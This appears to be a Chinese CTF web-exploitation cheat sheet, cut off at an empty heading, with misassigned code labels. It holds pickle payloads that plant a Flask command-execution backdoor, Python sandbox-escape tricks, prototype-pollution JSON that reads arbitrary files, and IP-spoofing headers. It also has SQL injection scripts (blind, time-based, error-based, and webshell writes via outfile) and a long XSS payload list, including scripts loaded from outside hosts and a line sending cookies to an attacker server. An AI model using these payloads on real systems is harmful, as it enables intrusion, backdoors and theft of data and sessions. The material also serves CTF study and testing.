import os import pickle import base64 class A(): def __reduce__(self): return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",)) a = A() b = pickle.dumps(a) print(base64.b64encode(b))
import base64 import pickle class A(object): def __reduce__(self): return (eval,("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",)) a = A() print(base64.b64encode(pickle.dumps(a)))

通过访问不存在的路由执行命令并回显

img

python 沙箱逃逸

execeval + open 执行库代码

'__builtins__' -> '\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'

'__builtins__' -> '\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'

"os" -> "o" + "s"

'__buil''tins__' -> str.__add__('__buil', 'tins__')

'__buil''tins__' -> '%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)

__import__ -> getattr(__builtins__, "__import__")

__import__ -> __builtins__.__dict__['__import__']

__import__ -> __loader__().load_module

str.find -> vars(str)["find"]

str.find -> str.__dict__["find"] # 注意基础类型 或者 自定义 __slots__ 没有 __dict__ 属性

",".join("123") -> "".__class__.join(",", "123")

",".join("123") -> str.join(",", "123")

"123"[0] -> "123".__getitem__(0)

"0123456789" -> sorted(set(str(hash(()))))

[1, 2, 3][0] -> [1, 2, 3].__getitem__()

2024 -> next(reversed(range(2025)))

{"a": 1}["a"] -> {"a": 1}.pop("a")

1 -> int(max(max(dict(a၁=()))))

[i for i in range(10) if i == 5] -> [[i][0]for(i)in(range(10))if(i)==5]

== -> in

True or False -> (True) | (False)

True or False -> bool(- (True) - (False))

True or False -> bool((True) + (False))

True and False -> (True) & (False)

True and False -> bool((True) * (False))

[2, 20, 30] -> [i for i in range(31) for j in range(31) if i==0 and j == 2 or i == 1 and j ==20 or i == 2 and j == 30]

python 原型链污染

绕过

php
unicode的编码

例题

php
from flask import Flask,request import json app = Flask(__name__) def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) def is_json(data): try: json.loads(data) return True except ValueError: return False class cls(): def __init__(self): pass instance = cls() @app.route('/', methods=['GET', 'POST']) def hello_world(): return open('/static/index.html', encoding="utf-8").read() @app.route('/read', methods=['GET', 'POST']) def Read(): file = open(__file__, encoding="utf-8").read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute', methods=['GET', 'POST']) def Pollution(): if request.is_json: merge(json.loads(request.data),instance) else: return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__': app.run(host='0.0.0.0',port=80)

向/pollute端点发送以下JSON payload:

方法1

php
{ "__class__": { "__init__": { "__globals__": { "__file__": "/flag" } } } }

方法2

php
{ "__init__": { "__globals__": { "__file__": "/flag" } } }

这个payload会污染instance对象的__class__属性,进而污染__init__方法的__globals__字典,将__file__设置为/flag。

污染成功后,访问/read端点。此时Read函数中的__file__已经被改为/flag,所以它会读取并返回flag的内容。

0

方法3

GET /static/flag GET /static/etc/passwd

php
{ "__init__": { "__globals__": { "app": { "_static_folder": "/" } } } }

_static_url_path 是存放flask中的静态目录的路径,默认值就是static

正常访问的话,就是通过http://xxxxx/static/xxxx

所以我们只要将其值篡改,那我们就可以通过其访问到任何文件

http://xxxx/static/etc/passwd

方法4

这个地方就是模板渲染的时候,防止目录穿梭进行的一个操作,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了。

payload={ "__init__":{ "__globals__":{ "os":{ "path":{ "pardir":"," } } } } }

JwtBearer认证

php
@app.route('/flag', methods=['GET']) def flag(): token = request.headers.get('Authorization')

数据包格式为:

php
GET /flag HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ5b3VyX3VzZXJuYW1lIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzI1ODc4MTg1fQ==.nsnfunejRMtHoR5dJftmHtvdILAXnTs69eKpjR_FAzA

pin码

https://github.com/WiIs0n/Flask-cookie-generation-based-on-PIN-code pin 和 Cookie

图片.png

6.常见数据头

Accept: 允许哪些媒体类型。

Accept-Charset: 允许哪些字符集。

Accept-Encoding: 允许哪些编码。

Accept-Language: 允许哪些语言。

Cache-Control: 缓存策略,如 no-cache,详见官方文档。

Connection: 连接选项,例如是否允许代理。

Host: 请求的主机。

If-None-Match: 判断请求实体的 Etag 是否包含在 If-None-Match 中,如果包含,则返回 304,使用缓存,见 Etag。

If-Modified-Since: 判断修改时间是否一致,如果一致,则使用缓存,。 、

If-Match: 与 If-None-Match 相反。

If-Unmodified-Since: 与 If-Modified-Since 相反。

Referer: 表明这个请求发起的源头。

User-Agent: 这个大家相信应该很熟悉了,就是经常用来做浏览器检测的 userAgent。

Cache-Control: 缓存策略,如 max-age:100,详见官方文档。

Connection: 连接选项,例如是否允许代理。

Content-Encoding: 返回内容的编码,如 gzip。

Content-Language: 返回内容的语言。

Content-Length: 返回内容的字节长度。

Content-Type: 返回内容的媒体类型,如 text/html。

Data: 返回时间。

Etag: entity tag,实体标签,给每个实体生成一个单独的值,用于客户端缓存,与 If-None-Match 配合使用。

Expires: 设置缓存过期时间,Cache-Control 也会相应变化。

Last-Modified: 最近修改时间,用于客户端缓存,与 If-Modified-Since 配合使用。

Pragma: 似乎和 Cache-Control 差不多,用于旧的浏览器。

Server: 服务器信息。

Vary: WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源 WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content-Encoding: gzip; Vary: Content-Encoding 那么 Cache 服务器会分析后续请求消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应给不具备解压能力的浏览器。

ip伪造

php
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-ProxyUser-Ip: 127.0.0.1 Client-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 Cluster-Client-IP: 127.0.0.1 X-ProxyUser-Ip: 127.0.0.1 Host: localhost X-Client-IP: 127.0.0.1 X-Forwared-Host: 127.0.0.1 X-Host: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Real-ip: 127.0.0.1 X-rewrite-url: secret.php //这个是bypass 403 Proxy-Authorization:ymzx.qq.com Proxy-Authenticate:ymzx.qq.com X-Client-IP:ymzx.qq.com X-Remote-IP:ymzx.qq.com X-Rriginating-IP:ymzx.qq.com X-Remote-addr:ymzx.qq.com HTTP_CLIENT_IP:ymzx.qq.com X-Real-IP:ymzx.qq.com X-Originating-IP:ymzx.qq.com via:ymzx.qq.com

7.sql注入

基础

1.sql注入如果没有过滤load_file,就能直接读取文件。例如:

address=(select(load_file('/flag.txt')))# 可以直接在不爆表爆字段等任何信息的情况下直接读取到flag.txt文件。

2.sql注入中,空格能用内联注释符/**/或tab键代替,似乎/*///也可以;如果注释符#被过滤,可以用;%00替代,截断注释后面的内容。

sql
判断列数 order by 3 查询所有数据库: select group_concat(schema_name) from information_schema.schemata 查询当前数据库的所有表: select group_concat(table_name) from information_schema.tables where table_schema=database() 查询表中所有字段 select group_concat(column_name) from information_schema.columns where table_name="users" 查询数据 select group_concat(username,password) from pikachu.users
盲注常用函数: 1、left()函数:left(database(),1)>'s' database()显示数据库名称,left(a,b)从左侧截取a的前b位; ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' -- 0 查询第一个表的首字母是不是e 2、regexp:select user() regexp '^r' 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式; ?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^s' -- 0 查询第一个数据库中的第一个表的首字母是不是s 3、like:select user() like 'ro%' 与regexp类似,使用like进行匹配 ?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' -- 0 查询第一个数据库中的第一个表的首字母是不是s 4、substr()函数:ascii(substr((select database()),1,1))=98 substr(a,b,c)从b位置开始,截取字符串a的c长度。ASCII()将某个字符串转换为ASCII值 数据库的命名规则是a~z 或 0~9 或是 _下划线 ?id=1' and ascii(substr((select database()),1,1))=115 -- 0 判断数据库的第一个字母是不是s 5、ord()函数和mid函数:ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转化为ascii值 方法同4、 6、if() - 条件,真返回,假返回 7、mid() - 字符串,起始位置,截取的长度 返回的内容:截取出来的内容 8、sleep() 盲注脚本: import requests for i in range(1, 30): result = '' url = "http://target/index.php?id=-1/**/or/**/" # web7 payload = "ascii(substr(database()/**/from/**/{}/**/for/**/{}))=%d#" # web7 过滤了逗号, = substr(database(),5,1) payload1 = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/{}))=%d" # flag payload2 = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)/**/from/**/{}/**/for/**/{}))=%d" # flag payload3 = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" # ctfshow{8e2dd139-fd3c-4f81-892e-37eb61ec1828} for j in range(1, 129): target = url + payload3 % (i, j) html = requests.get(target) if "if" in html.text: result += chr(j) print(result, end="")

读写文件:

读文件条件: 1.secure_file_priv值允许对该路径下的文件进行操作 2.数据库用户(mysql的属主)对文件有读权限 3.当前数据库登录用户拥有file权限 load_file方法: id=-1' union select 1,load_file("/etc/passwd"),3 -- - 系统命令方法: system cat /tmp/1.txt; 写文件: 上述条件下还要知道知道文件的完整路径 一、secure_file_priv mysql>show global variables like "secure_file_priv"; mysql>show global variables like "secure%"; 值为NULL,表示禁止文件的导入与导出 值为某一目录,表示只能对该目录下的文件导入与导出 值为空,表示不对文件的读写进行限制 ?id=1 +UNION+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘/var/www/html/2.php’ %23

宽字节注入

php
宽字节注入原理: 字符型的注入点通常是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义 ,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符 \ 失效、使单引号逃逸。 宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,绕过反斜线,使单引号实现注入功能。 使用%df绕过addslashes()函数: http://ip/?id=-1%df' union select 1,2,database() %23

报错注入

php
常用的报错注入的函数:updatexml()、extractvalue()、floor() 基于函数报错的信息获取(select/insert/update/delete) !注意:利用报错函数的前提是:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。 三个基于报错函数的用法: 1updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数; 作用:改变(查找并替换)XML文档中符合条件的节点的值。 语法:updatexml(xml_document,XPathstring,new_value) 第一个参数:fiedname是string格式,为表中的字段名。 第二个参数:XPathstring(Xpath格式的字符串)。 第三个参数:new_value,String格式替换查找到符合条件的 xpath的丁文是有效的,否则会发生错误。 ~:0x7e 例子:字符型注入(get)(delete): 1、kobe' and updatexml(1,concat(0x7e,database(),0x7e),0)# 2、id=57+or+updatexml+(1,concat(0x7e,database(),0x7e),0) 获取表名: kobe' and updatexml(1,concat(0x7e(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)# 获取列名: kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)# 基于insert下的报错: 在注册框内插入: xiaohong' or updatexml(1,concat(0x7e,database()),0) or ' 在报错的时候会爆出数据库名; 基于delete下的报错(数字型): 1 or updatexml(1,concat(0x7e,database()),0) 2、extractvalue():函数也是MySQL对XML文档数据进行查询的XPATH函数。 extractvalue()函数的作用是:从目标中返回值包含所查询值的字符串。 语法:ExtracValue(Xml_document,xpath_string) 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc。 第二个参数:Xpath_string(Xpath格式的字符串)。 Xpath定位必须是有效的,否则会发生错误。 例子:pikachu 字符型注入: 1、kobe' and extractvalue(0,concat(0x7e,version()))# 显示出数据库的版本。 2、xiaodi' or extractvalue(0,conact(0x7e,database())) or ' 3floor():MySQL中用来取整的函数。 例子:pikachu 字符型注入: kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)# 其中可以把version()替换成我们想要的内容。

常见注释符绕过

--dbms=sqlite

php
# %23 -- -- - --+ // /**/ /*letmetest*/ ;%00 空格绕过: /**/ %09 //tab键 %0a () ^ //异或 引号绕过: hex编码 //mysql可解析hex 编码赋值 例: select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 逗号绕过 substr(database(),0,1) = substr(database() from 0 for 1) <>大小于号绕过: = //可用=去猜 like 可替换 = greatest(ascii(substr(database(),0,1)),100) 返回最大值 LEAST(1,2) 返回1 返回最小值 注释符绕过: ;%00 //;表示语句结尾 %00表示截断后面的字符 例: 1'union+select+1,database();%00 双写绕过 大小写绕过 过滤了select //查表 -1';show tables%23 //查字段 -1';show columns from `user`%23 //查数据 -1';handler `1919810931114514` open as toert;handler toert read next%23

过滤逗号

利用 payload : juan79'%09UNION%09SELECT%091,2,3,4,5# 测试,发现存在 , 过滤,那么利用别名进行绕过,如下:

search=1' UNION SELECT * FROM ((SELECT 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#

结果如下图:

图片

利用如下 payload 获取表名 :

search=1' UNION SELECT * FROM ((SELECT GROUP_CONCAT(TABLE_NAME) FROM sys.schema_table_statistics_with_buffer WHERE TABLE_SCHEMA=DATABASE())A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#

获得结果,如下图:

图片

时间盲注脚本

php
import requests import time # 配置目标URL和注入点 url = "http://example.com/vulnerable_page?id=1" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" } # 定义时间延迟 DELAY = 5 # 定义字符集 CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' def time_based_sqli(payload): start_time = time.time() response = requests.get(url + payload, headers=headers) end_time = time.time() return end_time - start_time def extract_data(): extracted_data = "" for position in range(1, 21): # 假设我们要提取前20个字符 for char in CHARS: payload = f"' AND IF(SUBSTRING((SELECT database()),{position},1)='{char}', SLEEP({DELAY}), 0)-- -" if time_based_sqli(payload) >= DELAY: extracted_data += char print(f"Position {position}: {char}") break return extracted_data if __name__ == "__main__": data = extract_data() print(f"Extracted Data: {data}")

仅能使用a-zA-Z0-9{_}且不能使用LIKE和注释符的PostgreSQL盲注

。LIKE的功能可以用BETWEEN代替

php
import requests url = "https://penguin.chall.lac.tf/submit" headers = { 'Content-Type': 'application/x-www-form-urlencoded' } found=0 alphabet = '0123456789qwertyuiopasdfghjklzxcvbnm}' found_string="lactf{90stgr353sn0tl7k3th30th3rdbs0w" #print(brute[len(brute)-1]) while found_string[len(found_string)-1] != "}": if (found == 1): break for brute in alphabet: payload = 'username=\'%20UNION%20SELECT%20name%20from%20penguins%20WHERE%20NAME%20BETWEEN%20\''+found_string+brute+'\'%20AND%20\''+found_string+brute+'z' response = requests.request("POST", url, headers=headers, data=payload) match response.status_code: case 201: #print("not found yet") if (brute=="}"): found = 1 break case 200: found_string = found_string + brute print(found_string) if (brute=="}"): found = 1 break print("Found! "+found_string)

union all select的使用

。union仅会返回不重复的查询内容,而union all会返回包括重复项的全部内容

php
import requests import re URL = "http://one-shot.amt.rs" # Get session id def get_session(): res = requests.post(URL + "/new_session") return res.text.split('type="hidden" name="id" value="')[1].split('"')[0] # Search for password, use malicious query def search(session: str, query: str): query = query.replace("{id}", session) res = requests.post(URL + "/search", data={"id": session, "query": query}) return re.findall(r"<li>(.*?)</li>", res.text) # Guess the password def guess(session: str, password: str): res = requests.post(URL + "/guess", data={"id": session, "password": password}) return res.text # Build a malicious query def build_query(): query = "%' OR 1=1" for n in range(1, 33): query += f" UNION ALL SELECT SUBSTRING(password, {n}, 1) FROM table_" + "{id}" return query + " --" session = get_session() vals = search(session, build_query()) vals = [val for val in vals if len(val) == 1] # get only characters print(guess(session, "".join(vals)))

POST基于异或盲注布尔盲注

php
import requests url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php' flag = '' for i in range(1, 1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: #payload = f"1' or ascii(substr(database(),{i},1))>{mid}#" #查库 #payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#" #查表 #payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#" #查列 payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#" #查数据 data = { "name":payload, "pass":'qwer' } response = requests.post(url, data = data) if 'u6216' in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 if low != 32 : flag += chr(int(low)) else: break print(flag)

POST基于时间盲注

php
import requests import time url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php' flag = '' for i in range(1,1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: #payload = f"1' or if(ascii(substr(database(),{i},1))>{mid},sleep(2),1)#" #查库名 #payload = f"1'or if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid},sleep(2),1)#" #查表名 #payload = f"1'or if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),{i},1))>{mid},sleep(2),1)#" #查列名 payload = f"1'or if(ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid},sleep(2),1)#" #查数据 data = { "name":payload, "pass":'qwer' } last = int(time.time()) response = requests.post(url, data = data) now = int(time.time()) if now - last > 1 : low = mid + 1 else : high = mid mid = (low + high) // 2 if low != 32 : flag += chr(int(low)) else: break print(flag)

GET基于异或盲注,布尔盲注

php
import requests url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id=" name = '' for i in range(1,1000): min = 32 max = 128 while min<max: mid = (min + max) // 2 payload=f"1^(ascii(substr(database(),{i},1))>{mid})#" #查库名 #payload=f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{i},1))>{mid})#" #查表名 #payload=f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{i},1))>{mid})#" #查列名 #payload=f"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})#" #查数据 response=requests.get(url=url+payload) if 'ERROR' in response.text: min = mid + 1 else: max=mid if min != 32 : name += chr(min) else: break print(name)

GET基于时间盲注

php
import requests import time url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id=" name = '' for i in range(1,1000): min = 32 max = 128 while min<max: mid = (min + max) // 2 payload=f" " #查库名 #payload=f" " #查表名 #payload=f" " #查列名 #payload=f" " #查数据 last = int(time.time()) response=requests.get(url=url+payload) now = int(time.time()) if now - last > 1: min = mid + 1 else: max=mid if min != 32 : name += chr(min) else: break print(name)

8.XSS

参考链接1

1.FUZZ

javascript
<img src=1 onerror=alert(1);> </script><script>alert(1);</script> </script><script>alert(document.cookie);</script> ><body onload=alert(1)> <ScRiPt>alert(1);</ScRiPt> eval(%26%23%27 alert(1)%26%23%27);yoid /><script>alert(1);</script> alert(1) ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> '';!--"<XSS>=&{()} 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" <script/src=data:,alert()> <marquee/onstart=alert()> <video/poster/onerror=alert()> <isindex/autofocus/onfocus=alert()> <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert("XSS")> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <a onmouseover="alert(document.cookie)">xxs link</a> <a onmouseover=alert(document.cookie)>xxs link</a> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=# onmouseover="alert('xxs')"> <IMG SRC= onmouseover="alert('xxs')"> <IMG onmouseover="alert('xxs')"> <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40; &#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097& #0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav&#x09;ascript:alert('XSS');"> <IMG SRC="jav&#x0A;ascript:alert('XSS');"> <IMG SRC="jav&#x0D;ascript:alert('XSS');"> <IMG SRC=" &#14; javascript:alert('XSS');"> <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > <SCRIPT SRC=//ha.ckers.org/.j> <IMG SRC="javascript:alert('XSS')" <iframe src=http://ha.ckers.org/scriptlet.html < \";alert('XSS');// </script><script>alert('XSS');</script> </TITLE><SCRIPT>alert("XSS");</SCRIPT> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS')"> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> <IMG SRC='vbscript:msgbox("XSS")'> <IMG SRC="livescript:[code]"> <BODY ONLOAD=alert('XSS')> <BGSOUND SRC="javascript:alert('XSS');"> <BR SIZE="&{alert('XSS')}"> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> exp/*<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <XSS STYLE="xss:expression(alert('XSS'))"> <XSS STYLE="behavior: url(xss.htc);"> ¼script¾alert(¢XSS¢)¼/script¾ <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <TABLE><TD BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));"> <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--> <BASE HREF="javascript:alert('XSS');//"> <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <A HREF="http://66.102.7.147/">XSS</A> 0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-" veris-->group<svg/onload=alert(/XSS/)// #"><img src=M onerror=alert('XSS');> element[attribute='<img src=x onerror=alert('XSS');> [<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ] %22;alert%28%27RVRSH3LL_XSS%29// javascript:alert%281%29; <w contenteditable id=x onfocus=alert()> alert;pg("XSS") <svg/onload=%26%23097lert%26lpar;1337)> <script>for((i)in(self))eval(i)(1)</script> <scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt> <sCR<script>iPt>alert(1)</SCr</script>IPt> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>

2.常用html标签,可用事件

javascript
<a> <img> <svg> <iframe> <input> <script> onload onerror onclick onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop

3.单独标签

javascript
<script>alert(1)</script> <script>prompt(1)</script> <svg onload=alert(1)> <img src=x onerror="alert(1)"> <img src=x onclick="prompt(1)"> <a href="javascript:alert(1)" >click me</a> <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe> <input onfocus="alert(1)">

4.作为属性输入

javascript
"><svg/onload=alert(1)// " onclick="confirm(1)" " #尝试引入外部javascript “><script src=http://www.xxx.com/ec.js></script> <svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'// onfocus='a=document.createElement("script");a.src=http://x.x.x.x";body.appendChile(a);' onfocus='a=document.createElement("sc"+"ript");a.src=http://x.x.x.x";body.appendChile(a);' <link%20rel=import%20href="2.js"> #发送cookie到vps <script>window.location.href="http://vps.ip/?cookie="+document.cookie;</script>

5.空格绕过

php
- 注释 /**/ /=><svg/onload=alert(1)> <script>/* */alert/* */(document/* */.cookie)/* */</script> - 换行绕过 %0d %0a %0

6.XSS绕过

1.引号绕过

javascript
- 单引号`'`被禁用双引号`"`,来回替换 - 用斜杠`/`替换引号 alert(/xss/) - 单双引号都被禁,不用引号 <input onfocus=alert(1)> - 反引号 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

2.关键词绕过

javascript
